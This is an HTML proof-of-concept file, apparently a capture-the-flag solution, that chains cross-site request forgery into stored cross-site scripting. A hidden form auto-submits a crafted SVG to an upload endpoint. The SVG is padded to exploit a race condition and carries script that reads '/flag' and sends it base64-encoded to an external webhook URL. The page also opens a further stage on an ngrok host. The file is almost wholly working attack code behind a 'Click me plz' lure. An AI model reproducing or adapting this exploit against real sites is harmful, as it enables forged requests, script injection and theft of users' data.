web/crossedmonkes/solve/csrf2.html

<html>
    <body>
        <h1>CSRF to XSS PoC Part 2</h1>
        <script>
            function launch(){
                var knownObjectId = new URLSearchParams(window.location.search).get('knownId');
                window.open(`http://0.tcp.au.ngrok.io:13169/csrf3.html?knownId=${knownObjectId}`, '_blank'),focus();
                var payload = [
                    '<?xml version="1.0" standalone="no"?>\r\n',
                    '<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">\r\n',
                    '\r\n',
                    '<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">\r\n',
                    '\r\n',
                    '<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>\r\n'
                ];

                // Required to exploit the race condition
                for (let i=0; i < 20000; i++) {
                    payload.push('<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>\r\n');
                }

                payload.push('<script type="text/javascript">\r\n');
                payload.push(`fetch("/flag").then((r) => r.text()).then((d) => window.location="https://webhook.site/2f2edfff-fd82-4d72-a5e2-8542b8566013?e="+btoa(d));\r\n`);
                payload.push('\<\/script>\r\n');

                payload.push('</svg>\r\n');

                const dT = new DataTransfer();
                const file = new File( payload, "exploit.svg" );
                dT.items.add( file );
                document.csrf[0].files = dT.files;
                document.csrf.submit()
            }
        </script>
            
        <form style="display: none" name="csrf" method="post" action="http://monkestorage:3000/upload" enctype="multipart/form-data">
            <input id="file" type="file" name="file" hidden/>
            <input id="share_key" type="hidden" name="share_key" value="ff373618fbefa19991f1e123"/>
            <input type="submit" name="" value="" size="0"/>
        </form>
        
        <button value="button" onclick="launch()">Click me plz</button>
    </body>
</html>